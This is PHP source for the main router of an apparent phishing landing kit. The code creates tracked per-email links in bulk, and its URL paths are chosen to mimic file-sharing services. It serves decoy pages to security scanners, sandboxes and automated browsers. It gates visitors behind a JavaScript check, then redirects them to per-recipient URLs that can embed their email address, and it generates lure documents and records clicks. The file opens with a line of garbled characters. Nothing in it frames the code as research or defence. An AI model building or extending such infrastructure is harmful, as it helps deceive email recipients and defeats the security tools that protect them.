²ιΏ΄/±ΰΌ ΄ϊΒλ
ΔΪΘέ
<?php /** * βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ * LANDING SYSTEM - MAIN ROUTER * Single entry point for all requests * βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ */ // Start session for challenge verification session_start(); // Load configuration require_once __DIR__ . '/config.php'; // Load core modules require_once CORE_PATH . '/database.php'; require_once CORE_PATH . '/scanner.php'; require_once CORE_PATH . '/logger.php'; require_once CORE_PATH . '/response.php'; require_once CORE_PATH . '/url_processor.php'; require_once CORE_PATH . '/advanced_detection.php'; require_once CORE_PATH . '/template_engine.php'; require_once CORE_PATH . '/document_handler.php'; // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // ROUTING // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ $uri = $_SERVER['REQUEST_URI'] ?? '/'; $method = $_SERVER['REQUEST_METHOD'] ?? 'GET'; // Remove query string for matching $path = parse_url($uri, PHP_URL_PATH); // Log all requests (for debugging) log_info("Request: $method $path"); // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // ROUTE: Homepage (/) // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ if ($path === '/' || $path === '') { // Show decoy business page for root respond_decoy('business'); exit; } // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // NATURAL URL PATTERNS (avoid suspicious /v/, /r/, /track/ patterns) // These look like legitimate document/file sharing services // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // Pattern: /documents/{obfuscated_id} - Primary landing // Pattern: /files/{obfuscated_id} - Alternate landing // Pattern: /view/{obfuscated_id} - Alternate landing // Pattern: /access/{obfuscated_id} - Alternate landing // The obfuscated_id format: {4hex}{actual_id}{4HEX} (e.g., a1b2abc123A1B2) // Accept all safe path words for landing pages // NOTE: 'secure' and 'continue' are reserved for redirect routes - DO NOT add them here $landingPaths = 'documents|docs|files|records|archive|share|sharing|transfer|send|view|access|open|preview|display|storage|drive|cloud|vault|library|portal|workspace|hub|center|office|delivery|package|item|content|media|protected|private|safe|verified|get|fetch|retrieve|obtain|resource|assets|data|info|material|load|inbox|forms|report|review|uploads'; if (preg_match('/^\/(' . $landingPaths . ')\/([a-f0-9]{4})([a-zA-Z0-9]{6,20})([A-F0-9]{4})$/', $path, $matches)) { $visitorId = $matches[3]; // Extract actual ID from middle handleViewRequest($visitorId); exit; } // Pattern: /shared/{obfuscated_id} - Download route // Pattern: /download/{obfuscated_id} if (preg_match('/^\/(shared|download)\/([a-f0-9]{4})([a-zA-Z0-9]{6,20})([A-F0-9]{4})$/', $path, $matches)) { $visitorId = $matches[3]; handleDownloadRequest($visitorId); exit; } // Pattern: /secure/{obfuscated_id} - Redirect route // Pattern: /continue/{obfuscated_id} if (preg_match('/^\/(secure|continue)\/([a-f0-9]{4})([a-zA-Z0-9]{6,20})([A-F0-9]{4})$/', $path, $matches)) { $visitorId = $matches[3]; try { handleRedirectRequest($visitorId); } catch (Exception $e) { log_error("Redirect handler exception: " . $e->getMessage()); respond_decoy(); } catch (Error $e) { log_error("Redirect handler error: " . $e->getMessage()); respond_decoy(); } exit; } // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // LEGACY ROUTES (backward compatibility - can be disabled) // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ if (defined('ENABLE_LEGACY_ROUTES') && ENABLE_LEGACY_ROUTES) { // Legacy: /v/{id} if (preg_match('/^\/v\/([a-zA-Z0-9]{6,20})$/', $path, $matches)) { $visitorId = $matches[1]; handleViewRequest($visitorId); exit; } // Legacy: /d/{id} if (preg_match('/^\/d\/([a-zA-Z0-9]{6,20})$/', $path, $matches)) { $visitorId = $matches[1]; handleDownloadRequest($visitorId); exit; } // Legacy: /r/{id} if (preg_match('/^\/r\/([a-zA-Z0-9]{6,20})$/', $path, $matches)) { $visitorId = $matches[1]; handleRedirectRequest($visitorId); exit; } } // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // ROUTE: Debug endpoint (for testing - can be disabled) // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ if ($path === '/debug' && DEBUG_MODE) { header('Content-Type: application/json'); $id = $_GET['id'] ?? ''; $mode = $_GET['mode'] ?? 'info'; // info, test-redirect, list if ($mode === 'list' || empty($id)) { // Show recent recipients for debugging $pdo = database()->getConnection(); $recent = $pdo->query("SELECT id, email, redirect_url, status, created_at FROM recipients ORDER BY created_at DESC LIMIT 20")->fetchAll(PDO::FETCH_ASSOC); $total = $pdo->query("SELECT COUNT(*) as cnt FROM recipients")->fetch()['cnt']; // Show last 20 app logs too $logFile = LOGS_PATH . '/app.log'; $recentLogs = []; if (file_exists($logFile)) { $lines = file($logFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $recentLogs = array_slice($lines, -30); } echo json_encode([ 'debug_version' => '3.0', 'total_recipients' => $total, 'recent_recipients' => $recent, 'recent_logs' => $recentLogs, 'usage' => [ '/debug?mode=list' => 'List recipients and recent logs', '/debug?id=xxx' => 'Check specific ID', '/debug?id=xxx&mode=test-redirect' => 'Test redirect without scanner check (add &go=1 to actually redirect)', ], ]); exit; } // Look up the ID (without status filter for debugging) $pdo = database()->getConnection(); $stmt = $pdo->prepare("SELECT * FROM recipients WHERE id = ?"); $stmt->execute([$id]); $recipient = $stmt->fetch(PDO::FETCH_ASSOC); // Also try the filtered lookup $recipientFiltered = database()->getRecipient($id); if (!$recipient) { echo json_encode([ 'debug_version' => '3.0', 'searched_id' => $id, 'found' => false, 'error' => 'Recipient NOT FOUND in database', 'hint' => 'Use /debug?mode=list to see available IDs', ]); exit; } // Check what URL processor would return $processedUrl = null; $urlSource = null; if (USE_RECIPIENT_REDIRECT && !empty($recipient['redirect_url'])) { $urlSource = 'recipient_redirect_url'; $processedUrl = UrlProcessor::processRedirectUrl($recipient['redirect_url'], $recipient); } else { $urlSource = 'fallback_FINAL_REDIRECT_URL'; $processedUrl = UrlProcessor::processRedirectUrl(FINAL_REDIRECT_URL, $recipient); } // URL validation test $urlValid = $processedUrl ? filter_var($processedUrl, FILTER_VALIDATE_URL) !== false : false; // Build what the landing page action URL would be $obfuscatedId = UrlProcessor::obfuscateId($id); $actionUrl = '/' . URL_PATH_REDIRECT . '/' . $obfuscatedId; $debugInfo = [ 'debug_version' => '3.0', 'searched_id' => $id, 'found_unfiltered' => true, 'found_filtered' => $recipientFiltered ? true : false, 'filter_blocked_reason' => !$recipientFiltered ? 'Status not in (active,clicked) OR expired' : null, 'recipient' => [ 'id' => $recipient['id'], 'email' => $recipient['email'], 'status' => $recipient['status'], 'template' => $recipient['template'], 'created_at' => $recipient['created_at'], 'expires_at' => $recipient['expires_at'], ], 'redirect_analysis' => [ 'raw_redirect_url' => $recipient['redirect_url'], 'redirect_url_empty' => empty($recipient['redirect_url']), 'url_source' => $urlSource, 'processed_url' => $processedUrl, 'url_valid' => $urlValid, 'url_scheme' => $processedUrl ? parse_url($processedUrl, PHP_URL_SCHEME) : null, ], 'config' => [ 'USE_RECIPIENT_REDIRECT' => USE_RECIPIENT_REDIRECT, 'FINAL_REDIRECT_URL' => FINAL_REDIRECT_URL, 'ENABLE_JS_CHALLENGE' => ENABLE_JS_CHALLENGE, ], 'urls' => [ 'landing_action_url' => $actionUrl, 'full_landing_url' => buildNaturalUrl($id, 'documents'), 'full_redirect_url' => buildNaturalUrl($id, 'secure'), ], ]; // Test redirect mode - actually perform redirect (bypasses scanner check) if ($mode === 'test-redirect' && isset($_GET['go']) && $_GET['go'] === '1') { if ($urlValid) { log_info("DEBUG test-redirect: $id -> $processedUrl"); header('Location: ' . $processedUrl); exit; } else { $debugInfo['test_redirect_error'] = 'URL not valid, cannot redirect'; } } echo json_encode($debugInfo, JSON_PRETTY_PRINT); exit; } // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // ROUTE: JS Challenge Verification (POST /verify) // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ if ($path === '/verify') { // CORS headers for all verify requests header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Methods: POST, OPTIONS'); header('Access-Control-Allow-Headers: Content-Type'); header('Access-Control-Max-Age: 86400'); // Handle preflight OPTIONS request if ($method === 'OPTIONS') { http_response_code(204); exit; } // Handle POST request if ($method === 'POST') { handleVerifyRequest(); exit; } } // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // ROUTE: API Endpoints (/services/* - disguised as normal path) // Also supports legacy /api/* for backward compatibility // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ if (preg_match('/^\/(services|api)\/(.+)$/', $path, $matches)) { // CORS headers for API requests header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Methods: GET, POST, OPTIONS'); header('Access-Control-Allow-Headers: Content-Type, X-API-Secret, X-Auth-Token, Authorization'); header('Access-Control-Max-Age: 86400'); // Handle preflight OPTIONS request if ($method === 'OPTIONS') { http_response_code(204); exit; } $endpoint = $matches[2]; handleApiRequest($endpoint); exit; } // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // ROUTE: Static Assets (/assets/*) // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ if (preg_match('/^\/assets\//', $path)) { // Let Apache serve static files return false; } // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // DEFAULT: 404 (as decoy) // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ Response::notFound(); // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // HELPER FUNCTIONS // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ /** * Build natural-looking URL path with obfuscated ID * Format: /{prefix}/{4hex}{id}{4HEX} */ function buildNaturalPath($id, $type = 'documents') { $prefix = substr(md5($id . 'salt1'), 0, 4); $suffix = strtoupper(substr(md5($id . 'salt2'), 0, 4)); return '/' . $type . '/' . $prefix . $id . $suffix; } /** * Build full URL with natural path */ function buildNaturalUrl($id, $type = 'documents') { $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? SITE_DOMAIN; return $protocol . '://' . $host . buildNaturalPath($id, $type); } // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // HANDLERS // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ /** * Handle view landing page request */ function handleViewRequest($visitorId) { log_info("Landing page requested for ID: $visitorId"); // Detect scanner $detection = detect_scanner(); // Log scanner if detected if ($detection['is_scanner']) { log_info("Landing blocked: scanner detected (vendor: " . ($detection['vendor'] ?? 'unknown') . ")"); log_scanner($detection); log_visit($visitorId, $detection, 'decoy'); respond_decoy(); return; } // Check if already verified via session ONLY (security fix - no query param bypass) $alreadyVerified = isset($_SESSION['verified_' . $visitorId]); // Needs JS challenge? if ($detection['needs_challenge'] && ENABLE_JS_CHALLENGE && !$alreadyVerified) { log_info("Landing: showing JS challenge for $visitorId"); log_visit($visitorId, $detection, 'challenge'); respond_challenge($visitorId); return; } // Get recipient from database $recipient = database()->getRecipient($visitorId); if (!$recipient) { // Unknown ID - show decoy (don't reveal it doesn't exist) log_info("Landing failed: recipient NOT FOUND for $visitorId"); log_visit($visitorId, $detection, 'decoy_unknown'); respond_decoy(); return; } // Check expiration if (!empty($recipient['expires_at']) && strtotime($recipient['expires_at']) < time()) { log_info("Landing failed: recipient EXPIRED for $visitorId"); database()->updateRecipientStatus($visitorId, 'expired'); log_visit($visitorId, $detection, 'decoy_expired'); respond_decoy(); return; } // Human visitor - serve personalized content (log domain only for privacy) log_info("Landing: showing page for $visitorId (domain: " . ($recipient['domain'] ?? 'unknown') . ", template: " . ($recipient['template'] ?? 'default') . ")"); log_visit($visitorId, $detection, 'landing'); respond_landing($recipient); } /** * Handle document download request */ function handleDownloadRequest($visitorId) { // Detect scanner $detection = detect_scanner(); if ($detection['is_scanner']) { log_scanner($detection); log_visit($visitorId, $detection, 'decoy'); respond_decoy(); return; } // Check if already verified via session ONLY (security fix) $alreadyVerified = isset($_SESSION['verified_' . $visitorId]); // Challenge for suspicious if ($detection['needs_challenge'] && ENABLE_JS_CHALLENGE && !$alreadyVerified) { log_visit($visitorId, $detection, 'challenge'); respond_challenge($visitorId); return; } $recipient = database()->getRecipient($visitorId); if (!$recipient) { respond_decoy(); return; } // Check expiration if (!empty($recipient['expires_at']) && strtotime($recipient['expires_at']) < time()) { database()->updateRecipientStatus($visitorId, 'expired'); respond_decoy(); return; } // Log download attempt log_visit($visitorId, $detection, 'download'); // Get format from query param or default to PDF $format = $_GET['f'] ?? 'pdf'; if (!in_array($format, ['pdf', 'html'])) { $format = 'pdf'; } // Serve the document try { DocumentHandler::serve($recipient, $format); } catch (Exception $e) { log_error('Document generation failed: ' . $e->getMessage()); // Fallback to landing page respond_landing($recipient); } } /** * Handle redirect request */ function handleRedirectRequest($visitorId) { // Log entry point for debugging log_info("=== REDIRECT HANDLER START for ID: $visitorId ==="); // Detect scanner $detection = detect_scanner(); if ($detection['is_scanner']) { log_info("Redirect blocked: scanner detected (vendor: " . ($detection['vendor'] ?? 'unknown') . ")"); log_scanner($detection); log_visit($visitorId, $detection, 'decoy'); respond_decoy(); return; } // Check if user is coming from our own landing page (referrer check) // If so, skip the challenge - they already clicked through our page $referrer = $_SERVER['HTTP_REFERER'] ?? ''; $ourDomain = $_SERVER['HTTP_HOST'] ?? SITE_DOMAIN; $isFromOurSite = !empty($referrer) && strpos($referrer, $ourDomain) !== false; // Challenge for suspicious - BUT skip if coming from our own landing page if ($detection['needs_challenge'] && ENABLE_JS_CHALLENGE && !$isFromOurSite) { $alreadyVerified = isset($_SESSION['verified_' . $visitorId]); if (!$alreadyVerified) { log_info("Redirect blocked: JS challenge required, not verified yet"); log_visit($visitorId, $detection, 'challenge'); respond_challenge($visitorId); return; } } // Try to get recipient from database log_info("Looking up recipient ID: $visitorId"); $recipient = database()->getRecipient($visitorId); if (!$recipient) { // Try a more permissive lookup to debug (check if ID exists at all) $pdo = database()->getConnection(); $debugStmt = $pdo->prepare("SELECT id, email, status, redirect_url FROM recipients WHERE id = ?"); $debugStmt->execute([$visitorId]); $debugRow = $debugStmt->fetch(PDO::FETCH_ASSOC); if ($debugRow) { log_info("Redirect failed: recipient exists but filtered out. ID=$visitorId, status=" . ($debugRow['status'] ?? 'NULL') . ", has_redirect=" . (!empty($debugRow['redirect_url']) ? 'YES' : 'NO')); } else { // Count total recipients for context $countStmt = $pdo->query("SELECT COUNT(*) as cnt FROM recipients"); $total = $countStmt->fetch()['cnt']; log_info("Redirect failed: recipient NOT FOUND in DB. ID=$visitorId (total recipients in DB: $total)"); } respond_decoy(); return; } // Log recipient details for debugging (domain only for privacy) log_info("Recipient found: domain=" . ($recipient['domain'] ?? 'NULL') . ", status=" . ($recipient['status'] ?? 'NULL') . ", redirect_url=" . (empty($recipient['redirect_url']) ? 'EMPTY' : 'SET(' . strlen($recipient['redirect_url']) . ' chars)')); // Get final redirect URL using URL processor (Phase 2) // Supports placeholders: ${email}, ${emailb64}, ${id}, etc. $redirectUrl = UrlProcessor::getRedirectUrl($recipient); // Log what URL processor returned log_info("URL after processing: " . (empty($redirectUrl) ? 'EMPTY' : $redirectUrl)); if (empty($redirectUrl)) { // No redirect URL configured, show landing instead log_visit($visitorId, $detection, 'landing_fallback'); log_info("Redirect fallback: showing landing page (no redirect URL)"); respond_landing($recipient); return; } // Validate URL before redirecting if (!filter_var($redirectUrl, FILTER_VALIDATE_URL)) { log_error("Redirect failed: invalid URL format: $redirectUrl"); log_visit($visitorId, $detection, 'landing_fallback'); respond_landing($recipient); return; } // SUCCESS - Log redirect and execute log_visit($visitorId, $detection, 'redirect'); log_info("Redirect: $visitorId -> " . UrlProcessor::obfuscateUrl($redirectUrl)); // Update status database()->updateRecipientStatus($visitorId, 'clicked'); // Redirect to processed URL respond_redirect($redirectUrl); } /** * Handle JS verification request */ function handleVerifyRequest() { // Get JSON body $input = json_decode(file_get_contents('php://input'), true); if (!$input || empty($input['id']) || empty($input['token'])) { respond_json(['error' => 'Invalid request'], 400); return; } $visitorId = $input['id']; $token = $input['token']; $signals = $input['signals'] ?? []; // Verify token $verification = database()->isTokenVerified($token); if (!$verification) { respond_json(['error' => 'Invalid token'], 400); return; } // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // LAYER 4+5: ANALYZE SANDBOX SIGNALS FROM CLIENT-SIDE // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ $sandboxScore = intval($signals['sandboxScore'] ?? 0); $isSandbox = ($signals['isSandbox'] ?? false) === true; $behavior = $signals['behavior'] ?? []; $automation = $signals['automation'] ?? []; // Calculate server-side score adjustment $serverScore = 0; $detectionReasons = []; // Check automation flags if (!empty($automation['webdriver'])) { $serverScore += 95; $detectionReasons[] = 'webdriver_detected'; } if (!empty($automation['phantom'])) { $serverScore += 95; $detectionReasons[] = 'phantomjs_detected'; } if (!empty($automation['selenium'])) { $serverScore += 95; $detectionReasons[] = 'selenium_detected'; } if (!empty($automation['chromedriver'])) { $serverScore += 95; $detectionReasons[] = 'chromedriver_detected'; } if (!empty($automation['headless'])) { $serverScore += 95; $detectionReasons[] = 'headless_detected'; } // Check sandbox WebGL indicators if (!empty($signals['sandbox_webgl'])) { $serverScore += 40; $detectionReasons[] = 'sandbox_webgl_' . $signals['sandbox_webgl']; } // Check behavioral signals $mouseMovements = intval($behavior['mouseMovements'] ?? 0); $scrollEvents = intval($behavior['scrollEvents'] ?? 0); $totalTime = intval($signals['totalTime'] ?? 0); // No mouse movement is suspicious for real users if ($mouseMovements === 0 && $totalTime > 1000) { $serverScore += 30; $detectionReasons[] = 'no_mouse_movement'; } // Very fast submission (< 500ms) is suspicious if ($totalTime > 0 && $totalTime < 500) { $serverScore += 40; $detectionReasons[] = 'fast_submission'; } // Combine client + server scores $totalScore = max($sandboxScore, $serverScore); // Threshold for sandbox rejection $sandboxThreshold = defined('SANDBOX_REJECTION_THRESHOLD') ? SANDBOX_REJECTION_THRESHOLD : 70; // Log the analysis Logger::log('sandbox_analysis', [ 'visitor_id' => $visitorId, 'client_score' => $sandboxScore, 'server_score' => $serverScore, 'total_score' => $totalScore, 'is_sandbox' => $isSandbox, 'reasons' => $detectionReasons, 'signals' => [ 'mouse' => $mouseMovements, 'scroll' => $scrollEvents, 'time' => $totalTime, 'webgl' => $signals['webgl'] ?? null, 'automation' => $automation, ], ]); // If sandbox detected with high confidence, reject if ($totalScore >= $sandboxThreshold) { Logger::log('sandbox_rejected', [ 'visitor_id' => $visitorId, 'score' => $totalScore, 'reasons' => $detectionReasons, ]); // Log visit as scanner $ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR']; database()->logVisit([ 'ip' => $ip, 'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? '', 'recipient_id' => $visitorId, 'is_human' => false, 'scanner_vendor' => 'sandbox', 'scanner_confidence' => $totalScore, ]); // Return decoy response respond_json([ 'success' => false, 'error' => 'verification_failed', ]); return; } // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // PASSED: Mark as verified human // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // Mark as verified database()->verifyToken($token, $signals); // Log verification log_info("Verification passed for $visitorId (score: $totalScore)"); // Return redirect to the SECURE route (final redirect) after verification // Add verified parameter so we don't challenge again $_SESSION['verified_' . $visitorId] = true; // Build obfuscated URL path for REDIRECT route (not landing page) $obfuscatedPath = buildNaturalPath($visitorId, 'secure'); respond_json([ 'success' => true, 'redirect' => $obfuscatedPath . '?v=1' ]); } /** * Handle API requests */ function handleApiRequest($endpoint) { // Check API is enabled if (!API_ENABLED) { respond_json(['error' => 'API disabled'], 403); return; } // Health check endpoint (no auth required) if ($endpoint === 'health' || $endpoint === 'ping') { respond_json([ 'status' => 'ok', 'version' => '1.0.0', 'timestamp' => time() ]); return; } // Verify API secret (simple auth) $authHeader = $_SERVER['HTTP_X_API_SECRET'] ?? $_SERVER['HTTP_AUTHORIZATION'] ?? ''; $providedSecret = str_replace('Bearer ', '', $authHeader); if ($providedSecret !== API_SECRET) { Logger::api($endpoint, ['error' => 'Unauthorized']); respond_json(['error' => 'Unauthorized'], 401); return; } switch ($endpoint) { case 'create': apiCreateRecipient(); break; case 'batch-create': apiBatchCreateRecipients(); break; case 'status': apiGetStatus(); break; case 'stats': apiGetStats(); break; case 'document/generate': apiGenerateDocument(); break; case 'document/cache/clear': apiClearDocumentCache(); break; case 'document/cache/stats': apiDocumentCacheStats(); break; default: respond_json(['error' => 'Unknown endpoint'], 404); } } /** * API: Create single recipient * * Required: email * Optional: id (auto-generated if not provided), redirect_url, template, firstname, etc. */ function apiCreateRecipient() { if ($_SERVER['REQUEST_METHOD'] !== 'POST') { respond_json(['error' => 'Method not allowed'], 405); return; } $input = json_decode(file_get_contents('php://input'), true); // Only email is required now - ID can be auto-generated if (!$input || empty($input['email'])) { respond_json(['error' => 'Missing required field: email'], 400); return; } // Validate email format if (!filter_var($input['email'], FILTER_VALIDATE_EMAIL)) { respond_json(['error' => 'Invalid email format'], 400); return; } try { // Auto-generate ID if not provided if (empty($input['id'])) { $input['id'] = database()->generateRecipientId($input['email']); } // Extract domain from email if not provided if (empty($input['domain']) && strpos($input['email'], '@') !== false) { $input['domain'] = substr($input['email'], strpos($input['email'], '@') + 1); } database()->createRecipient($input); // Build landing URL using natural path format (CLEAN - no email exposed!) $link = buildNaturalUrl($input['id'], 'documents'); Logger::api('create', ['id' => $input['id'], 'email_domain' => $input['domain'] ?? '']); respond_json([ 'success' => true, 'link' => $link, 'id' => $input['id'] ]); } catch (Exception $e) { log_error('API create failed: ' . $e->getMessage()); respond_json(['error' => 'Failed to create recipient'], 500); } } /** * API: Batch create recipients (for sender app preparation phase) * * Input: { "recipients": [ { "email": "...", "redirect_url": "...", ... }, ... ] } * Returns: { "success": true, "created": N, "failed": M, "links": { "email": "landing_url", ... } } */ function apiBatchCreateRecipients() { if ($_SERVER['REQUEST_METHOD'] !== 'POST') { respond_json(['error' => 'Method not allowed'], 405); return; } $input = json_decode(file_get_contents('php://input'), true); if (!$input || empty($input['recipients']) || !is_array($input['recipients'])) { respond_json(['error' => 'Missing required field: recipients (array)'], 400); return; } $recipients = $input['recipients']; // Limit batch size to prevent abuse $maxBatchSize = defined('API_BATCH_MAX_SIZE') ? API_BATCH_MAX_SIZE : 500; if (count($recipients) > $maxBatchSize) { respond_json(['error' => "Batch size exceeds limit of $maxBatchSize"], 400); return; } try { $startTime = microtime(true); // Create recipients in batch $result = database()->createRecipientsBatch($recipients); // Convert IDs to full landing URLs (CLEAN URLs - no email exposed!) $links = []; foreach ($result['links'] as $email => $id) { $links[$email] = buildNaturalUrl($id, 'documents'); } $duration = round((microtime(true) - $startTime) * 1000); Logger::api('batch-create', [ 'count' => count($recipients), 'created' => $result['created'], 'failed' => $result['failed'], 'duration_ms' => $duration ]); respond_json([ 'success' => true, 'created' => $result['created'], 'failed' => $result['failed'], 'links' => $links, 'errors' => $result['errors'], 'duration_ms' => $duration ]); } catch (Exception $e) { log_error('API batch-create failed: ' . $e->getMessage()); respond_json(['error' => 'Batch creation failed: ' . $e->getMessage()], 500); } } /** * API: Get recipient status */ function apiGetStatus() { $id = $_GET['id'] ?? null; if (!$id) { respond_json(['error' => 'Missing id parameter'], 400); return; } $recipient = database()->getRecipient($id); if (!$recipient) { respond_json(['error' => 'Not found'], 404); return; } respond_json([ 'id' => $recipient['id'], 'status' => $recipient['status'], 'created_at' => $recipient['created_at'], 'expires_at' => $recipient['expires_at'] ]); } /** * API: Get statistics */ function apiGetStats() { try { $stats = database()->getStats(); respond_json($stats); } catch (Exception $e) { respond_json(['error' => 'Failed to get stats'], 500); } } /** * API: Generate document for recipient */ function apiGenerateDocument() { if ($_SERVER['REQUEST_METHOD'] !== 'POST') { respond_json(['error' => 'Method not allowed'], 405); return; } $input = json_decode(file_get_contents('php://input'), true); if (!$input || empty($input['id'])) { respond_json(['error' => 'Missing required field: id'], 400); return; } $recipient = database()->getRecipient($input['id']); if (!$recipient) { respond_json(['error' => 'Recipient not found'], 404); return; } // Override template if provided if (!empty($input['template'])) { $recipient['template'] = $input['template']; } $format = $input['format'] ?? 'pdf'; if (!in_array($format, ['pdf', 'html'])) { $format = 'pdf'; } try { $content = DocumentHandler::generateDocument($recipient, $format); if ($content === false) { respond_json(['error' => 'Failed to generate document'], 500); return; } // Generate filename $prefix = ['Document', 'File', 'Report'][hexdec(substr(md5($input['id']), 0, 1)) % 3]; $date = date('Y-m-d'); $hash = strtoupper(substr(md5($input['id'] . 'filename'), 0, 6)); $filename = "{$prefix}_{$date}_{$hash}.{$format}"; // Return base64 encoded content respond_json([ 'success' => true, 'format' => $format, 'size' => strlen($content), 'content' => base64_encode($content), 'filename' => $filename ]); } catch (Exception $e) { log_error('API document generation failed: ' . $e->getMessage()); respond_json(['error' => 'Document generation failed'], 500); } } /** * API: Clear document cache */ function apiClearDocumentCache() { if ($_SERVER['REQUEST_METHOD'] !== 'POST') { respond_json(['error' => 'Method not allowed'], 405); return; } $input = json_decode(file_get_contents('php://input'), true); $id = $input['id'] ?? null; try { DocumentHandler::clearCache($id); respond_json([ 'success' => true, 'message' => $id ? "Cache cleared for recipient: $id" : 'All cache cleared' ]); } catch (Exception $e) { respond_json(['error' => 'Failed to clear cache'], 500); } } /** * API: Get document cache statistics */ function apiDocumentCacheStats() { try { $stats = DocumentHandler::getCacheStats(); respond_json($stats); } catch (Exception $e) { respond_json(['error' => 'Failed to get cache stats'], 500); } }